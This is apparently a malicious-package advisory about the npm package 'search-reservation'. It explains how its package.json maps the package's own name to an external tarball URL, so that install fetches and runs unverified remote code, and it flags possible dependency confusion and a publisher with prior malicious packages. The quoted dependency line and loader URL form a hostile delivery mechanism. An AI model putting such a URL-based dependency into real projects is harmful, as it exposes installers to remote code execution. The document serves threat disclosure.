GCVE-110-OSM-2026-11279

package.json declares a dependency whose key equals the package's own name (search-reservation) and whose value is the bare URL https://repo.securityctrl.com/search-reservation instead of a registry version range. On npm install, npm resolves this URL, downloads whatever tarball it returns, and installs it — unpinned, integrity-unchecked, and running any lifecycle scripts inside the fetched artifact. Whoever controls repo.securityctrl.com controls code executed on the installer's machine. The shipped index.js is an inert stub, so the manifest URL is the entire delivery mechanism. The self-named dependency shape also matches dependency-confusion targeting of an internal package named search-reservation. Judge assessment: This package is consistent with a loader-style supply-chain implant: `package.json` points the package's own name, `search-reservation`, at the external tarball URL `https://repo.securityctrl.com/search-reservation`, which npm will fetch and install outside registry controls. The shipped `index.js` is just an inert demo stub, so the real delivery mechanism is the URL-based dependency, not the visible source. The publisher context reinforces attacker intent: `sine8z` already has multiple OSM-confirmed malicious packages, and the package is a single-version, no-repo drop with a high-risk install hook pattern. The attacker model here is a supply-chain actor abusing dependency confusion / remote artifact loading to execute untrusted code on install. ENTRY index.js (main: index.js) - URL-Based Dependency in package.json: ""dependencies": { "search-reservation": "https://repo.securityctrl.com/search-re..." DESTINATION - 2 loader (urls, domains) (values recorded in verified_iocs) ADDITIONAL FINDINGS - Publisher Has Other Malicious Packages